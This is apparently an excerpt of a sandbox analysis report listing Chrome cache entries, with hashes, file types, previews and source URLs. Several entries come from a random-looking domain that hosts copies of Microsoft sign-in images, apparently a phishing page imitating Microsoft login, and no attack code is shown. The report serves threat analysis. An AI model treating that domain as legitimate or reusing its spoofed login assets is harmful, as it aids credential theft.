Preview:	.FloatingCircle_FloatingCircleContainer__13Pwx{height:0}.FloatingCircle_FloatingCircle__1mZQc,.FloatingCircle_FloatingCircleContainer__13Pwx{display:-webkit-flex;display:flex;-webkit-justify-content:center;justify-content:center}.FloatingCircle_FloatingCircle__1mZQc{position:relative;overflow:hidden;border-radius:50%;box-shadow:0 3px 6px rgba(0,0,0,.161);z-index:1}.FloatingCircle_FloatingCircle__MD__3w-8L{top:-2.333rem;height:4.666rem;width:4.666rem}.FloatingCircle_FloatingCircle__LG__2ewqP{top:-3rem;height:6rem;width:6rem}.FloatingCircle_FloatingCircle__Icon__3stnW{display:-webkit-flex;display:flex;-webkit-align-items:center;align-items:center}.FloatingCircle_FloatingCircle__Icon__MD__2UABm{font-size:2.333rem}.FloatingCircle_FloatingCircle__Icon__LG__3JGnf{font-size:3rem}.FloatingCircle_FloatingCircleDanger__3anuh{background-color:#f2d9d3}.FloatingCircle_FloatingCircleDanger__3anuh .FloatingCircle_FloatingCircle__Icon__3stnW{color:#ba2d0c}.FloatingCircle_FloatingCircleWarning__3JlQ0{b

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 3 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	downloaded
Size (bytes):	15406
Entropy (8bit):	2.932954551863506
Encrypted:	false
SSDEEP:	48:M7yRB52gkEWMIII9UzVK+KZ72p56tQOPk9GPU5NX5uezdAhllSM0H:6/g9pviRw62F4SNX5K0
MD5:	9D62DCC244C0F3D88367A943BA4D4FED
SHA1:	5FC5EC953D4344422EB686B9FC61EA31CAED360E
SHA-256:	FDDF75D3376BB911DB3189AA149F508317799B10611438B23D688B89DB208DA7
SHA-512:	78CD9A7A2CDAFCC378A3CB1215325BE78D54A4459D5C4C7271DE617A272AAD10A951BD7F2EFE15EBF4E70A059420D988AC093C481AF02C788D864AA9E316DF22
Malicious:	false
Reputation:	low
URL:	https://url2.mailanyone.net/favicon.ico
Preview:	............ .h...6... .... .(.......00.... .h&......(....... ..... .....................................................................................................................C!!.........................................................U.G%..H% Y....................................................I%..G$..G%..UU..............................................F##.H$..G$..H$..N''.............................................H%..G$..G$..H%..............................................G&!6H$..G$..H$..L"".............................................H$..G$..G$..H%..%q.%r.%r.'o.'............................G'.VG$..G$..G%..U.$q.~$q..$q..$q..3f..........................H$..G$..G$..I$.b.... ...$q..$q..$q..&q.s........................G$..G$..H$..UU..........$q.M$q..$q..$q..'l......................H% YG$..G#.A................%r.$q..$q..$r..................`..f.V2$\.q..q..q..q..q.>\|.)$r..$q..$q..%s.>........j..j..j..j..j..j..j..j..j..k.(s.$q..$q..%q..@....jv.j..

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=4, xresolution=62, yresolution=70, resolutionunit=2, software=paint.net 4.2.9], baseline, precision 8, 50x28, components 3
Category:	dropped
Size (bytes):	987
Entropy (8bit):	6.922003634904799
Encrypted:	false
SSDEEP:	24:PJjxEK0nWpBzo0XxDuLHeOWXG4OZ7DAJuLHenX3D+VRmK9cR+w/b:lxEX4OuERAVwR/QP/b
MD5:	E58AAFC980614A9CD7796BEA7B5EA8F0
SHA1:	D4CAC92DCDE0CAF7C571E6D791101DA94FDBD2CA
SHA-256:	8B34A475187302935336BF43A2BF2A4E0ADB9A1E87953EA51F6FCF0EF52A4A1D
SHA-512:	2DAC06596A11263DF1CFAB03EDA26D0A67B9A4C3BAA6FB6129CDBF0A157C648F5B0F5859B5CA689EFDF80F946BF4D854BA2B2C66877C5CE3897D72148741FCC9
Malicious:	false
Reputation:	low
Preview:	......JFIF.....H.H.....fExif..MM..................>...........F.(...........1.........N.......H.......H....paint.net 4.2.9....C....................................................................C.........................................................................2..!............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?......[.4..lz.....K.S..p.>.9.r9j..'.\.qrW..mo...X9ZV<./x...EX...m.Prj..A.EtG...K..mr....Lc.T.8...nlY.V.{6...R...]..(.y...)^.5V.IVO.W.B.19.R\...f.U.....'..S:..k.6..).f.n._3*....}.y.8.EusH..y.`.mA...W.}...bL..:..b.<f..(lH#R....v._...........9N~S..

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Reputation:	low
URL:	https://ihvnbhbvhbasdjbhjvbfh.site/aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_white_166de53471265253ab3a456defe6da23.gif
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	downloaded
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	low
URL:	https://ihvnbhbvhbasdjbhjvbfh.site/aadcdn.msauth.net/~/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 55 x 90, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.068159130770306
Encrypted:	false
SSDEEP:	3:yionv//thPliltnlboyxl/k4E08up:6v/lhPeL7Tp
MD5:	BD6D00960065B77EFB3390DFA0173E9D
SHA1:	035EC39AB0FB42AAADA2FF380AA3EF23FDD175F9
SHA-256:	15ED0EAD726AA54DBA1EA4A134FEBDA91972909F1DFB0012C8FD360F706A89B3
SHA-512:	1671ECE1E0CD4CBEC161DFD14D93F05313BBB87424D138BFF9D4932B10197BCCF2148B7F008426A35160BCA739A3D4284D4DACB4D973F7ABF59B7BA6FD2B280D
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...7...Z.......Y.....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (65339), with CRLF line terminators
Category:	downloaded
Size (bytes):	662286
Entropy (8bit):	5.315860951951661
Encrypted:	false
SSDEEP:	12288:YfmmzLJTD/JilMGk4hBR310FaHHxpJy7qVfb4cSPo:Yfm+T7US7SR310FaHHTJy7qJ4rPo
MD5:	12204899D75FC019689A92ED57559B94
SHA1:	CCF6271C6565495B18C1CED2F7273D5875DBFB1F
SHA-256:	39DAFD5ACA286717D9515F24CF9BE0C594DFD1DDF746E6973B1CE5DE8B2DD21B
SHA-512:	AA397E6ABD4C54538E42CCEDA8E3AA64ACE76E50B231499C20E88CF09270AECD704565BC9BD3B27D90429965A0233F99F27697F66829734FF02511BD096CF030
Malicious:	false
Reputation:	low
URL:	https://r4.res.office365.com/owa/prem/15.20.7544.41/scripts/boot.worldwide.2.mouse.js
Preview:	.window.scriptsLoaded = window.scriptsLoaded \|\| {}; window.scriptProcessStart = window.scriptProcessStart \|\| {}; window.scriptProcessStart['boot.worldwide.2.mouse.js'] = (new Date()).getTime();.._y.lC=function(){};_y.lC.registerInterface("_y.lC");_y.jw=function(){};_y.jw.registerInterface("_y.jw");_y.lA=function(){};_y.lA.registerInterface("_y.lA");var IDelayedSendEvent=function(){};IDelayedSendEvent.registerInterface("IDelayedSendEvent");var IIsShowingComposeInReadingPaneEvent=function(){};IIsShowingComposeInReadingPaneEvent.registerInterface("IIsShowingComposeInReadingPaneEvent");var ISendFailedO365Event=function(){};ISendFailedO365Event.registerInterface("ISendFailedO365Event");var ISendFailureRemoveO365Event=function(){};ISendFailureRemoveO365Event.registerInterface("ISendFailureRemoveO365Event");_y.gw=function(){};_y.gw.registerInterface("_y.gw");_y.iB=function(){};_y.iB.registerInterface("_y.iB");_y.ih=function(){};_y.ih.registerInterface("_y.ih");_y.jy=function(){};_y.jy.regis

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	36
Entropy (8bit):	4.503258334775644
Encrypted:	false
SSDEEP:	3:Eq62iczBr9ks:EqdiczBys
MD5:	06B313E93DD76909460FBFC0CD98CB6B
SHA1:	C4F9B2BBD840A4328F85F54873C434336A193888
SHA-256:	B4532478707B495D0BB1C21C314AEF959DD1A5E0F66E52DAD5FC332C8B697CBA
SHA-512:	EFD7E8195D9C126883C71FED3EFEDE55916848B784F8434ED2677DF5004436F7EDE9F80277CB4675C4DEB8F243B2705A3806B412FAA8842E039E9DC467C11645
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwmCAmly1gHbXRIFDdFbUVISBQ1Xevf9?alt=proto
Preview:	ChgKDQ3RW1FSGgQIVhgCIAEKBw1Xevf9GgA=

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 342 x 72, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	5139
Entropy (8bit):	7.865234009830226
Encrypted:	false
SSDEEP:	96:oX2DsRVNYc82nTGTirCPqKO1gDPFjDiwK3aM5yO/bUlVV6JKo5N9jIMw7RLW1ZHb:ofRgc82nTprQsgDNDP7QgVVoH9+kMK9
MD5:	8B36337037CFF88C3DF203BB73D58E41
SHA1:	1ADA36FA207B8B96B2A5F55078BFE2A97ACEAD0E
SHA-256:	E4E1E65871749D18AEA150643C07E0AAB2057DA057C6C57EC1C3C43580E1C898
SHA-512:	97D8CC97C4577631D8D58C0D9276EE55E4B80128080220F77E01E45385C20FE55D208122A8DFA5DADCB87543B1BC291B98DBBA44E8A2BA90D17C638C15D48793
Malicious:	false
Reputation:	low
URL:	https://ihvnbhbvhbasdjbhjvbfh.site/aadcdn.msauth.net/~/shared/1.0/content/images/applogos/53_8b36337037cff88c3df203bb73d58e41.png
Preview:	.PNG........IHDR...V...H.............tEXtSoftware.Adobe ImageReadyq.e<...%iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 21.0 (Macintosh)" xmpMM:InstanceID="xmp.iid:DB120779422011EA9888910153D3A5E6" xmpMM:DocumentID="xmp.did:DB12077A422011EA9888910153D3A5E6"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:DB120777422011EA9888910153D3A5E6" stRef:documentID="xmp.did:DB120778422011EA9888910153D3A5E6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>P.WI....IDATx..]]l.......(.5.K0P..0...E.qT..J X)F.(5X....J.}(m.R5.Q...RUEUPU~.....qp@.b......L...k.m"0......"c.3

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	dropped
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	low
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=4, xresolution=62, yresolution=70, resolutionunit=2, software=paint.net 4.2.9], baseline, precision 8, 50x28, components 3
Category:	downloaded
Size (bytes):	987
Entropy (8bit):	6.922003634904799
Encrypted:	false
SSDEEP:	24:PJjxEK0nWpBzo0XxDuLHeOWXG4OZ7DAJuLHenX3D+VRmK9cR+w/b:lxEX4OuERAVwR/QP/b
MD5:	E58AAFC980614A9CD7796BEA7B5EA8F0
SHA1:	D4CAC92DCDE0CAF7C571E6D791101DA94FDBD2CA
SHA-256:	8B34A475187302935336BF43A2BF2A4E0ADB9A1E87953EA51F6FCF0EF52A4A1D
SHA-512:	2DAC06596A11263DF1CFAB03EDA26D0A67B9A4C3BAA6FB6129CDBF0A157C648F5B0F5859B5CA689EFDF80F946BF4D854BA2B2C66877C5CE3897D72148741FCC9
Malicious:	false
Reputation:	low
URL:	https://ihvnbhbvhbasdjbhjvbfh.site/aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg
Preview:	......JFIF.....H.H.....fExif..MM..................>...........F.(...........1.........N.......H.......H....paint.net 4.2.9....C....................................................................C.........................................................................2..!............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?......[.4..lz.....K.S..p.>.9.r9j..'.\.qrW..mo...X9ZV<./x...EX...m.Prj..A.EtG...K..mr....Lc.T.8...nlY.V.{6...R...]..(.y...)^.5V.IVO.W.B.19.R\...f.U.....'..S:..k.6..).f.n._3*....}.y.8.EusH..y.`.mA...W.}...bL..:..b.<f..(lH#R....v._...........9N~S..

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 113657
Category:	downloaded
Size (bytes):	35807
Entropy (8bit):	7.994448207898337
Encrypted:	true
SSDEEP:	768:GeGIpaEdiOh6SlRpX1j6M+m6TRvY9YIiLcIA4WHioUx5vib:hGIp0ARDj686lg9OkHcxs
MD5:	FCF71472EFC9E614B10DFD499805F729
SHA1:	CF1FA991F9F08068F8F5F4D188D741BF5C2B7722
SHA-256:	23FF9B1A108B620EB12123003F37200042B120F3A554D3772B55F6366BDD4652
SHA-512:	B01F793C888C512F4BD1252EBA17A30C16BE3EC5E5A48BBBDD8F724EDCAEB2FD810439050A3097C27DAFDD1DE9235B39B7CF45D5341CC43A942F3F529891F379
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_ea3e62a2bdfb2b2ee8c8.js
Preview:	...........{..8.(.........,.-.......gglu.. .m..I....~..oRv......i.(....P(......k............o.6>.\|..d..........O...V..}.G..4......9.l..F.mDI.f.4...o,..EA.1...F1g..,...E..Gy...,No6.@..l....n..;....P.fQ...ty...b#I.(d.A2!j1$..m....6n.Q8.x..Y...b#c!....\|.p..w#..F..i..s.Gc..b..9U.k......&@pJ..'40J......e.$.k.L(b...F.n.+..nO..6@n...A.&.,LVa......Y......V..o..% ....,......:..e.-XR. <FE.w..b..P......r.b.["~..!.....y.......V...4.;M..Y.X.{.......0].N..,.r`=...Mv....;...k....w.1p.q...(.u.3....;).. }...s....'....c...o.d....Ax.W..._...?.9...........3..MWI..3.p3..u.m$~Vo:n.'.8..!5h....y...6=7...hz.......f.-.).......Nc..:..u.g...~.8..4.....0P......$.=.a....#._..3.t..7Q...-....6..j.\|....5-...B...}.VQ.&/...e.XeI.C../.y...{...1...Y..g..`'..F..h.o.]SHW...,..Ac_%y...M..u.O..U..`.&...Y.}....Tu..z..iv.....5..M.q.. .Bz.,..oSS.%..y.....gS1s.(.........%,fE.m.@~.4.........7.x.$0mQ..o....J.J^....~......u!.~Z.iw.b...Q~).=..Tq.:.7HH.E.&6.D`.(..Cxmf.(o...^y_.v.{..K<Y.5.

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.307354922057605
Encrypted:	false
SSDEEP:	3:8Kiun9ks:8Kiun2s
MD5:	9F9FA94F28FE0DE82BC8FD039A7BDB24
SHA1:	6FE91F82974BD5B101782941064BCB2AFDEB17D8
SHA-256:	9A37FDC0DBA8B23EB7D3AA9473D59A45B3547CF060D68B4D52253EE0DA1AF92E
SHA-512:	34946EF12CE635F3445ED7B945CF2C272EF7DD9482DA6B1A49C9D09A6C9E111B19B130A3EEBE5AC0CCD394C523B54DD7EB9BF052168979A9E37E7DB174433F64
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwlcVeNmOlMmCBIFDdFbUVISBQ1Xevf9?alt=proto
Preview:	ChIKBw3RW1FSGgAKBw1Xevf9GgA=

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 444415
Category:	downloaded
Size (bytes):	121286
Entropy (8bit):	7.997670808226061
Encrypted:	true
SSDEEP:	3072:w/S7ht4ONJJ2slNRqEao4po/WRGw548k0:VbXzJzlz3AEwy8k0
MD5:	07CE9D2326EC3DDBC1A5ABD1E47964EA
SHA1:	C69F2DAD5E087B36B66B22A679C7B7D523C48202
SHA-256:	52482BD0C74DAF2C979C606CD9BF66E167EF03A2B1C6A6EF136765991C1B0081
SHA-512:	605DA355DDB660D8010E4BCA45AE656236358B627C4569B2836D1D1D0B773DF44857C2807330B9224E47B85E208A0112A8B72DFE3F02FF456C38B6B0B8028314
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/ConvergedLogin_PCore_IDwaQXicOTFiRVOQGoK9bQ2.js
Preview:	............{.8.......f.cw...Wl..Y.U..$..Iw.2.d.v.%.$.1..o?.$%J.SU.{w.}.S.H... .......O.....2..\.T..../g..+.............F..7.^\.x>....3....0.x..F.0...Wf.o..~e...J...(..9I\.8.Bc./.T...+;J.gW.:..6o..P...o..1..a.9.b.....G..."pYTyy.....Da.N.J...=C#....M..;b..%.I.%......!E.15.[...:..P.........8_...L..ou..ie..\|.IXy.....x.`Z...bj......I.a.,z...~%..B.....:.....L#;@...`..i......cTt.V.fs...L..8..s...R./^...*.?.0h...+.f...6:......d...>M..q1.;.......C.'.....G...?c^....\-...q8..@.u.b.,..+..!`_.....qry.?]..<>mM.......R........l..uO...q.G...c..;...~.sX.Y0M....g.w.>....'a.6g.G;.....9.b.;0.U[.j....w..........JM..Vc.;...V..wU...TYew...?5....va8...i...$.......\.l...j?EC.h.&U....E,YDA...Na!..T..$k..[..2..j./.1,D}LdY=..a.>\|k....NE/.A...}..&. ..7%#..o(a.S....e!P8..UK.#.n.{..@.I....uVva.....$z#...[..CX......l.}...Q.......\.n...........Z...LK.~.\|."...D;u{>......T$.C..^\|%..'U....k2=...)Y! )..+.Y.#%........C..?2.r_....%'>.....^.3V..H..zSF..%C..G..`

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, baseline, precision 8, 1920x1080, components 3
Category:	downloaded
Size (bytes):	17453
Entropy (8bit):	3.890509953257612
Encrypted:	false
SSDEEP:	192:P7FRTHQpmA3ZkXOL25cYty7l6UWUjMJBSab/vR+yzP:P/cpmgkF5+JWUjMp40P
MD5:	7916A894EBDE7D29C2CC29B267F1299F
SHA1:	78345CA08F9E2C3C2CC9B318950791B349211296
SHA-256:	D8F5AB3E00202FD3B45BE1ACD95D677B137064001E171BC79B06826D98F1E1D3
SHA-512:	2180ABE47FBF76E2E0608AB3A4659C1B7AB027004298D81960DC575CC2E912ECCA8C131C6413EBBF46D2AAA90E392EB00E37AED7A79CDC0AC71BA78D828A84C7
Malicious:	false
Reputation:	low
URL:	https://ihvnbhbvhbasdjbhjvbfh.site/aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg
Preview:	.....Phttp://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about=""/> </rdf:RDF> </x:xmpmeta>

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 223759
Category:	downloaded
Size (bytes):	54318
Entropy (8bit):	7.995006031600911
Encrypted:	true
SSDEEP:	1536:GPYhFQ0hY97NgEQMoCG/D6oAPSZGh7Xifaz8TAiQzsr:Gn37ih787GA8Ei+sr
MD5:	3F98A175D5232F665BEFFC23352D7176
SHA1:	8413FCCF22CEBAAED144736F5415F09EFD45CE48
SHA-256:	C6D80B97A3828280862163C72A94F5902F10D927FA1F6BDEAB5479B94F04F5AC
SHA-512:	93D0C9BBB7B204AE18A2392F137DC02B71A9E5352EC24267C2CEBAE5C286EEB68BCABF73F3F4B6DA1DF1D49E3998F6190D843144CD1ACDD5B4AA707CDF7CC24D
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_8e14dcf0e3ff5580d170.js
